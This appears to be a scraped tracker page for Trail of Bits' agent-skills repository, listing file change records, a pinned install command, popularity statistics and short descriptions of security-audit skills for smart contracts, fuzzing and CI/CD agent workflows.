Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/testing-handbook-skills/skills/ruzzy/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/testing-handbook-skills/skills/testing-handbook-generator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/testing-handbook-skills/skills/wycheproof/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/trailmark/skills/audit-augmentation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/trailmark/skills/crypto-protocol-diagram/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/trailmark/skills/diagramming-code/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/trailmark/skills/genotoxic/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/trailmark/skills/graph-evolution/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/trailmark/skills/mermaid-to-proverif/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/trailmark/skills/slicing-code-context/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/trailmark/skills/trailmark/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/trailmark/skills/trailmark-finding-triage/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/trailmark/skills/trailmark-review-gate/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/trailmark/skills/trailmark-structural/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/trailmark/skills/trailmark-summary/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/trailmark/skills/trailmark-variant-neighborhood/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/trailmark/skills/vector-forge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/variant-analysis/skills/variant-analysis/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/vulnerability-triage-brocards/skills/vulnerability-triage-brocards/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/writing-lean-proofs/skills/writing-lean-proofs/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/yara-authoring/skills/yara-rule-authoring/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
plugins/zeroize-audit/skills/zeroize-audit/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2be6433b39e0 → e4dd0bb5b155
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2be6433b39e0
No earlier version was observed for comparison.
Verified commit e4dd0bb5b15535f7c5a0834187dffba6ac37e4ff
git clone --filter=blob:none --no-checkout https://github.com/trailofbits/skills.git .hotskills/trailofbits-skills && git -C .hotskills/trailofbits-skills checkout --detach e4dd0bb5b15535f7c5a0834187dffba6ac37e4ff
# Copy each selected skill directory from .hotskills/trailofbits-skills into .claude/skills/<skill-name>/git clone --filter=blob:none --no-checkout https://github.com/trailofbits/skills.git .hotskills/trailofbits-skills && git -C .hotskills/trailofbits-skills checkout --detach e4dd0bb5b15535f7c5a0834187dffba6ac37e4ff
# Copy each selected skill directory from .hotskills/trailofbits-skills into .agents/skills/<skill-name>/Heat
7.4- Star growth, last 7 daysAhead of 90% of tracked repositories
- Star growth, last 24 hoursAhead of 92% of tracked repositories
- Rank movement, last 7 daysAhead of 66% of tracked repositories
- Commits, last 30 daysAhead of 86% of tracked repositories
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekAhead of 0% of tracked repositories
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
Individual skills in this repository
- agentic-actions-auditor
plugins/agentic-actions-auditor/skills/agentic-actions-auditor - audit-context-building
plugins/audit-context-building/skills/audit-context-building - algorand-vulnerability-scanner
plugins/building-secure-contracts/skills/algorand-vulnerability-scanner - audit-prep-assistant
plugins/building-secure-contracts/skills/audit-prep-assistant - cairo-vulnerability-scanner
plugins/building-secure-contracts/skills/cairo-vulnerability-scanner - code-maturity-assessor
plugins/building-secure-contracts/skills/code-maturity-assessor - cosmos-vulnerability-scanner
plugins/building-secure-contracts/skills/cosmos-vulnerability-scanner - guidelines-advisor
plugins/building-secure-contracts/skills/guidelines-advisor - secure-workflow-guide
plugins/building-secure-contracts/skills/secure-workflow-guide - solana-vulnerability-scanner
plugins/building-secure-contracts/skills/solana-vulnerability-scanner - substrate-vulnerability-scanner
plugins/building-secure-contracts/skills/substrate-vulnerability-scanner - token-integration-analyzer
plugins/building-secure-contracts/skills/token-integration-analyzer - ton-vulnerability-scanner
plugins/building-secure-contracts/skills/ton-vulnerability-scanner - burpsuite-project-parser
plugins/burpsuite-project-parser/skills/burpsuite-project-parser - c-review
plugins/c-review/skills/c-review - chrome-mcp-troubleshooting
plugins/chrome-mcp-troubleshooting/skills/chrome-mcp-troubleshooting - code-improver
plugins/code-improver/skills/code-improver - pr-improver
plugins/code-improver/skills/pr-improver - skill-improver
plugins/code-improver/skills/skill-improver - review-pr
plugins/code-improver/tests/fixtures/pr-review-toolkit/skills/review-pr - panel-review
plugins/code-improver/tests/fixtures/review-panel/skills/panel-review - constant-time-analysis
plugins/constant-time-analysis/skills/constant-time-analysis - interpreting-culture-index
plugins/culture-index/skills/interpreting-culture-index - cvss-scoring
plugins/cvss-scoring/skills/cvss-scoring - devcontainer-setup
plugins/devcontainer-setup/skills/devcontainer-setup - differential-review
plugins/differential-review/skills/differential-review - dimensional-analysis
plugins/dimensional-analysis/skills/dimensional-analysis - dwarf-expert
plugins/dwarf-expert/skills/dwarf-expert - entry-point-analyzer
plugins/entry-point-analyzer/skills/entry-point-analyzer - firebase-apk-scanner
plugins/firebase-apk-scanner/skills/firebase-apk-scanner - fp-check
plugins/fp-check/skills/fp-check - gh-cli
plugins/gh-cli/skills/gh-cli - github-triage
plugins/github-triage/skills/github-triage - goal-prompt
plugins/goal-prompt/skills/goal-prompt - let-fate-decide
plugins/let-fate-decide/skills/let-fate-decide - modern-cpp
plugins/modern-cpp/skills/modern-cpp - modern-python
plugins/modern-python/skills/modern-python - mutation-testing
plugins/mutation-testing/skills/mutation-testing - open-sourcing
plugins/open-sourcing/skills/open-sourcing - implement-patch
plugins/patching-bugs/skills/implement-patch - patching-bugs
plugins/patching-bugs/skills/patching-bugs - prove-patch
plugins/patching-bugs/skills/prove-patch - reproduce-bug
plugins/patching-bugs/skills/reproduce-bug - validate-bug
plugins/patching-bugs/skills/validate-bug - post-patch-validation
plugins/post-patch-validation/skills/post-patch-validation - property-based-testing
plugins/property-based-testing/skills/property-based-testing - adjudicate-regression
plugins/regression-hunt/skills/adjudicate-regression - hunt-regressions
plugins/regression-hunt/skills/hunt-regressions - prepare-regression
plugins/regression-hunt/skills/prepare-regression - regression-hunt
plugins/regression-hunt/skills/regression-hunt - replay-regression
plugins/regression-hunt/skills/replay-regression - report-regressions
plugins/regression-hunt/skills/report-regressions - reproduce-regression
plugins/regression-hunt/skills/reproduce-regression - review-walkthrough
plugins/review-walkthrough/skills/review-walkthrough - rust-review
plugins/rust-review/skills/rust-review - second-opinion
plugins/second-opinion/skills/second-opinion - semgrep-rule-creator
plugins/semgrep-rule-creator/skills/semgrep-rule-creator - semgrep-rule-variant-creator
plugins/semgrep-rule-variant-creator/skills/semgrep-rule-variant-creator - sharp-edges
plugins/sharp-edges/skills/sharp-edges - spec-to-code-compliance
plugins/spec-to-code-compliance/skills/spec-to-code-compliance - codeql
plugins/static-analysis/skills/codeql - sarif-parsing
plugins/static-analysis/skills/sarif-parsing - semgrep
plugins/static-analysis/skills/semgrep - supply-chain-risk-auditor
plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor - address-sanitizer
plugins/testing-handbook-skills/skills/address-sanitizer - aflpp
plugins/testing-handbook-skills/skills/aflpp - atheris
plugins/testing-handbook-skills/skills/atheris - cargo-fuzz
plugins/testing-handbook-skills/skills/cargo-fuzz - constant-time-testing
plugins/testing-handbook-skills/skills/constant-time-testing - coverage-analysis
plugins/testing-handbook-skills/skills/coverage-analysis - fuzzing-dictionary
plugins/testing-handbook-skills/skills/fuzzing-dictionary - fuzzing-obstacles
plugins/testing-handbook-skills/skills/fuzzing-obstacles - harness-writing
plugins/testing-handbook-skills/skills/harness-writing - libafl
plugins/testing-handbook-skills/skills/libafl - libfuzzer
plugins/testing-handbook-skills/skills/libfuzzer - ossfuzz
plugins/testing-handbook-skills/skills/ossfuzz - ruzzy
plugins/testing-handbook-skills/skills/ruzzy - testing-handbook-generator
plugins/testing-handbook-skills/skills/testing-handbook-generator - wycheproof
plugins/testing-handbook-skills/skills/wycheproof - audit-augmentation
plugins/trailmark/skills/audit-augmentation - crypto-protocol-diagram
plugins/trailmark/skills/crypto-protocol-diagram - diagramming-code
plugins/trailmark/skills/diagramming-code - genotoxic
plugins/trailmark/skills/genotoxic - graph-evolution
plugins/trailmark/skills/graph-evolution - mermaid-to-proverif
plugins/trailmark/skills/mermaid-to-proverif - slicing-code-context
plugins/trailmark/skills/slicing-code-context - trailmark
plugins/trailmark/skills/trailmark - trailmark-finding-triage
plugins/trailmark/skills/trailmark-finding-triage - trailmark-review-gate
plugins/trailmark/skills/trailmark-review-gate - trailmark-structural
plugins/trailmark/skills/trailmark-structural - trailmark-summary
plugins/trailmark/skills/trailmark-summary - trailmark-variant-neighborhood
plugins/trailmark/skills/trailmark-variant-neighborhood - vector-forge
plugins/trailmark/skills/vector-forge - variant-analysis
plugins/variant-analysis/skills/variant-analysis - vulnerability-triage-brocards
plugins/vulnerability-triage-brocards/skills/vulnerability-triage-brocards - writing-lean-proofs
plugins/writing-lean-proofs/skills/writing-lean-proofs - yara-rule-authoring
plugins/yara-authoring/skills/yara-rule-authoring - zeroize-audit
plugins/zeroize-audit/skills/zeroize-audit
How it works
agentic-actions-auditor
When your agent uses it
Audits GitHub Actions workflows for security vulnerabilities in AI agent integrations including Claude Code Action, Gemini CLI, OpenAI Codex, and GitHub AI Inference. Detects attack vectors where attacker-controlled input reaches AI agents running in CI/CD pipelines, including env var intermediary patterns, direct expression injection, dangerous sandbox configurations, and wildcard user allowlists. Use when reviewing workflow files that invoke AI coding agents, auditing CI/CD pipeline security for prompt injection risks, or evaluating agentic action configurations.
What it loads into context
Frontmatter
118 tokensAlways available to the agent
SKILL.md
4,896 tokensWhen the skill is activated
Reference documents
16,812 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Rationalizations to Reject
- Audit Methodology
- Detailed References
Files
../../../../.claude-plugin/marketplace.jsonasset19,439 bytes../../../../.claude-plugin/marketplace.jsonasset19,439 bytes../../../../.claude-plugin/marketplace.jsonasset19,439 bytes../../.claude-plugin/plugin.jsonasset302 bytesSKILL.mdcore21,743 bytesagents/openai.yamlasset239 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/action-profiles.mddoc8,966 bytesreferences/cross-file-resolution.mddoc12,597 bytesreferences/foundations.mddoc6,659 bytesreferences/vector-a-env-var-intermediary.mddoc4,482 bytesreferences/vector-b-direct-expression-injection.mddoc4,645 bytesreferences/vector-c-cli-data-fetch.mddoc5,042 bytesreferences/vector-d-pr-target-checkout.mddoc5,235 bytesreferences/vector-e-error-log-injection.mddoc5,380 bytesreferences/vector-f-subshell-expansion.mddoc5,917 bytesreferences/vector-g-eval-of-ai-output.mddoc5,602 bytesreferences/vector-h-dangerous-sandbox-configs.mddoc5,758 bytesreferences/vector-i-wildcard-allowlists.mddoc4,372 bytes../../../audit-context-building/.claude-plugin/plugin.jsonasset416 bytes../../../building-secure-contracts/.claude-plugin/plugin.jsonasset431 bytes../../../burpsuite-project-parser/.claude-plugin/plugin.jsonasset305 bytes../../../c-review/.claude-plugin/plugin.jsonasset385 bytes../../../chrome-mcp-troubleshooting/.claude-plugin/plugin.jsonasset196 bytes../../../code-improver/.claude-plugin/plugin.jsonasset422 bytes../../../code-improver/tests/fixtures/plugin-dev/.claude-plugin/plugin.jsonasset336 bytes../../../code-improver/tests/fixtures/pr-review-toolkit/.claude-plugin/plugin.jsonasset330 bytes../../../code-improver/tests/fixtures/review-panel/.claude-plugin/plugin.jsonasset360 bytes../../../constant-time-analysis/.claude-plugin/plugin.jsonasset244 bytes../../../culture-index/.claude-plugin/plugin.jsonasset181 bytes../../../cvss-scoring/.claude-plugin/plugin.jsonasset366 bytes../../../devcontainer-setup/.claude-plugin/plugin.jsonasset255 bytes../../../differential-review/.claude-plugin/plugin.jsonasset317 bytes../../../dimensional-analysis/.claude-plugin/plugin.jsonasset724 bytes../../../dwarf-expert/.claude-plugin/plugin.jsonasset346 bytes../../../entry-point-analyzer/.claude-plugin/plugin.jsonasset444 bytes../../../firebase-apk-scanner/.claude-plugin/plugin.jsonasset317 bytes../../../fp-check/.claude-plugin/plugin.jsonasset209 bytes../../../fp-check/hooks/hooks.jsonasset3,905 bytes../../../gh-cli/.claude-plugin/plugin.jsonasset324 bytes../../../gh-cli/hooks/hooks.jsonasset1,412 bytes../../../gh-cli/hooks/hooks.jsonasset1,412 bytes../../../gh-cli/hooks/hooks.jsonasset1,412 bytes../../../gh-cli/hooks/hooks.jsonasset1,412 bytes../../../gh-cli/hooks/hooks.jsonasset1,412 bytes../../../gh-cli/hooks/hooks.jsonasset1,412 bytes../../../git-cleanup/.claude-plugin/plugin.jsonasset343 bytes../../../github-triage/.claude-plugin/plugin.jsonasset549 bytes../../../goal-prompt/.claude-plugin/plugin.jsonasset301 bytes../../../insecure-defaults/.claude-plugin/plugin.jsonasset367 bytes../../../let-fate-decide/.claude-plugin/plugin.jsonasset447 bytes../../../modern-cpp/.claude-plugin/plugin.jsonasset338 bytes../../../modern-python/.claude-plugin/plugin.jsonasset352 bytes../../../modern-python/hooks/hooks.jsonasset352 bytes../../../modern-python/hooks/hooks.jsonasset352 bytes../../../mutation-testing/.claude-plugin/plugin.jsonasset461 bytes../../../open-sourcing/.claude-plugin/plugin.jsonasset398 bytes../../../open-sourcing/.claude-plugin/plugin.jsonasset398 bytes../../../patching-bugs/.claude-plugin/plugin.jsonasset255 bytes../../../post-patch-validation/.claude-plugin/plugin.jsonasset478 bytes../../../property-based-testing/.claude-plugin/plugin.jsonasset304 bytes../../../regression-hunt/.claude-plugin/plugin.jsonasset265 bytes../../../review-walkthrough/.claude-plugin/plugin.jsonasset316 bytes../../../rust-review/.claude-plugin/plugin.jsonasset530 bytes../../../second-opinion/.claude-plugin/plugin.jsonasset224 bytes../../../semgrep-rule-creator/.claude-plugin/plugin.jsonasset212 bytes../../../semgrep-rule-variant-creator/.claude-plugin/plugin.jsonasset293 bytes../../../sharp-edges/.claude-plugin/plugin.jsonasset308 bytes../../../spec-to-code-compliance/.claude-plugin/plugin.jsonasset370 bytes../../../static-analysis/.claude-plugin/plugin.jsonasset239 bytes../../../supply-chain-risk-auditor/.claude-plugin/plugin.jsonasset454 bytes../../../testing-handbook-skills/.claude-plugin/plugin.jsonasset213 bytes../../../trailmark/.claude-plugin/plugin.jsonasset331 bytes../../../trailmark/.claude-plugin/plugin.jsonasset331 bytes../../../variant-analysis/.claude-plugin/plugin.jsonasset206 bytes../../../vulnerability-triage-brocards/.claude-plugin/plugin.jsonasset475 bytes../../../writing-lean-proofs/.claude-plugin/plugin.jsonasset297 bytes../../../yara-authoring/.claude-plugin/plugin.jsonasset229 bytes../../../zeroize-audit/.claude-plugin/plugin.jsonasset315 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubaudit-context-building
When your agent uses it
Understand a codebase before looking for bugs in it - what each function assumes, what it guarantees, and what it depends on elsewhere. Use when starting an audit, threat model, or architecture review on unfamiliar code, and before any vulnerability-hunting pass.
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
868 tokensWhen the skill is activated
Reference documents
3,932 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Do not analyze in this context
- What comes back, and how to read it
- The format
Files
SKILL.mdcore3,991 bytesSKILL.mdcore3,991 bytesagents/openai.yamlasset253 bytesassets/trail-of-bits-mark.svgasset3,084 bytesresources/ANALYSIS_FORMAT.mddoc2,613 bytesresources/DOMAIN_NOTES.mddoc5,040 bytesresources/FUNCTION_MICRO_ANALYSIS_EXAMPLE.mddoc9,056 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubalgorand-vulnerability-scanner
When your agent uses it
Scans Algorand smart contracts for 11 common vulnerabilities including rekeying attacks, unchecked transaction fees, missing field validations, and access control issues. Use when auditing Algorand projects (TEAL/PyTeal).
What it loads into context
Frontmatter
58 tokensAlways available to the agent
SKILL.md
3,039 tokensWhen the skill is activated
Reference documents
3,163 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 1. Purpose
- 2. When to Use This Skill
- 3. Platform Detection
- 4. How This Skill Works
- 5. Example Output
- 6. Vulnerability Patterns (11 Patterns)
- 7. Scanning Workflow
- 8. Reporting Format
- 9. Priority Guidelines
- 10. Testing Recommendations
- 11. Additional Resources
- 12. Quick Reference Checklist
- 13. Rationalizations to Reject
Files
SKILL.mdcore12,593 bytesSKILL.mdcore12,593 bytesSKILL.mdcore12,593 bytesSKILL.mdcore12,593 bytesSKILL.mdcore12,593 bytesSKILL.mdcore12,593 bytesagents/openai.yamlasset250 bytesassets/trail-of-bits-mark.svgasset3,084 bytesresources/VULNERABILITY_PATTERNS.mddoc12,636 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubaudit-prep-assistant
When your agent uses it
Prepares codebases for security review using Trail of Bits' checklist. Helps set review goals, runs static analysis tools, increases test coverage, removes dead code, ensures accessibility, and generates documentation (flowcharts, user stories, inline comments). Use when preparing your own codebase to be audited by someone else, getting a repository review-ready before an external security review, deciding what to fix before auditors start, or asking what assessors need from a project. For understanding unfamiliar code you are about to audit, use audit-context-building instead.
What it loads into context
Frontmatter
117 tokensAlways available to the agent
SKILL.md
2,298 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- The Preparation Process
- How I Work
- Rationalizations (Do Not Skip)
- Example Output
- DOCUMENTATION
- DEPLOYMENT INFO
Files
SKILL.mdcore10,010 bytesSKILL.mdcore10,010 bytesSKILL.mdcore10,010 bytesSKILL.mdcore10,010 bytesSKILL.mdcore10,010 bytesSKILL.mdcore10,010 bytesagents/openai.yamlasset240 bytesassets/trail-of-bits-mark.svgasset3,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcairo-vulnerability-scanner
When your agent uses it
Scans Cairo/StarkNet smart contracts for 6 critical vulnerabilities including felt252 arithmetic overflow, L1-L2 messaging issues, address conversion problems, and signature replay. Use when auditing StarkNet projects.
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
3,250 tokensWhen the skill is activated
Reference documents
5,181 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 1. Purpose
- 2. When to Use This Skill
- 3. Platform Detection
- 4. How This Skill Works
- 5. Example Output
- 6. Vulnerability Patterns (6 Patterns)
- 7. Scanning Workflow
- 8. Reporting Format
- 9. Priority Guidelines
- 10. Testing Recommendations
- 11. Additional Resources
- 12. Quick Reference Checklist
- 13. Rationalizations to Reject
Files
SKILL.mdcore13,109 bytesSKILL.mdcore13,109 bytesSKILL.mdcore13,109 bytesSKILL.mdcore13,109 bytesagents/openai.yamlasset259 bytesassets/trail-of-bits-mark.svgasset3,084 bytesresources/VULNERABILITY_PATTERNS.mddoc21,282 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcode-maturity-assessor
When your agent uses it
Systematic code maturity assessment using Trail of Bits' 9-category framework. Analyzes codebase for arithmetic safety, auditing practices, access controls, complexity, decentralization, documentation, MEV risks, low-level code, and testing, then produces a scorecard with evidence-based ratings and a priority-ordered roadmap. Use when assessing or scoring the maturity of a smart contract or blockchain codebase, producing a maturity scorecard or evaluation, or judging how mature, well-tested, or well-documented such a project is against a rubric.
What it loads into context
Frontmatter
118 tokensAlways available to the agent
SKILL.md
1,611 tokensWhen the skill is activated
Reference documents
4,161 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- How This Works
- Rating System
- The 9 Categories
- Example Output
- Assessment Process
- Rationalizations (Do Not Skip)
- Report Format
- Ready to Begin
Files
SKILL.mdcore7,297 bytesagents/openai.yamlasset242 bytesassets/trail-of-bits-mark.svgasset3,084 bytesresources/ASSESSMENT_CRITERIA.mddoc9,876 bytesresources/EXAMPLE_REPORT.mddoc7,595 bytesresources/REPORT_FORMAT.mddoc726 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcosmos-vulnerability-scanner
When your agent uses it
Scans Cosmos SDK blockchain modules and CosmWasm contracts for consensus-critical vulnerabilities — chain halts, fund loss, state divergence. 25 core + 16 IBC + 10 EVM + 3 CosmWasm patterns. Use when auditing custom x/ modules, reviewing IBC integrations, or assessing pre-launch chain security. Updated for SDK v0.53.x.
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
2,634 tokensWhen the skill is activated
Reference documents
35,069 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- When to Use
- When NOT to Use
- Essential Principles
- Scanning Workflow
- Success Criteria
- Resources
Files
CHANGELOG.mddoc12,950 bytesSKILL.mdcore10,940 bytesSKILL.mdcore10,940 bytesagents/openai.yamlasset256 bytesassets/trail-of-bits-mark.svgasset3,084 bytesresources/ADVANCED_VULNERABILITY_PATTERNS.mddoc12,800 bytesresources/COSMWASM_VULNERABILITY_PATTERNS.mddoc7,643 bytesresources/DISCOVERY.mddoc3,018 bytesresources/EVM_VULNERABILITY_PATTERNS.mddoc18,442 bytesresources/IBC_VULNERABILITY_PATTERNS.mddoc28,119 bytesresources/STATE_VULNERABILITY_PATTERNS.mddoc29,890 bytesresources/VULNERABILITY_PATTERNS.mddoc27,033 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubguidelines-advisor
When your agent uses it
Smart contract development advisor based on Trail of Bits' best practices. Analyzes codebase to generate documentation/specifications, review architecture, check upgradeability patterns, assess implementation quality, identify pitfalls, review dependencies, and evaluate testing. Use when asking whether a smart contract project follows development best practices, reviewing on-chain/off-chain split, upgradeability, or delegatecall proxy patterns against guidelines, or seeking recommendations on contract design, inheritance, events, documentation, dependencies, or test strategy.
What it loads into context
Frontmatter
104 tokensAlways available to the agent
SKILL.md
1,727 tokensWhen the skill is activated
Reference documents
4,080 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- How This Works
- Assessment Areas
- Example Output
- Deliverables
- Assessment Process
- Rationalizations (Do Not Skip)
- Notes
- Ready to Begin
Files
SKILL.mdcore8,752 bytesagents/openai.yamlasset258 bytesassets/trail-of-bits-mark.svgasset3,084 bytesresources/ASSESSMENT_AREAS.mddoc7,997 bytesresources/DELIVERABLES.mddoc2,338 bytesresources/EXAMPLE_REPORT.mddoc8,433 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsecure-workflow-guide
When your agent uses it
Guides through Trail of Bits' 5-step secure development workflow. Runs Slither scans, checks special features (upgradeability/ERC conformance/token integration), generates visual security diagrams, helps document security properties for fuzzing/verification, and reviews manual security areas. Use when securing a smart contract end to end rather than hunting one bug, checking a project on every check-in or before deployment, triaging a Slither report, or asking where to start on smart contract security.
What it loads into context
Frontmatter
103 tokensAlways available to the agent
SKILL.md
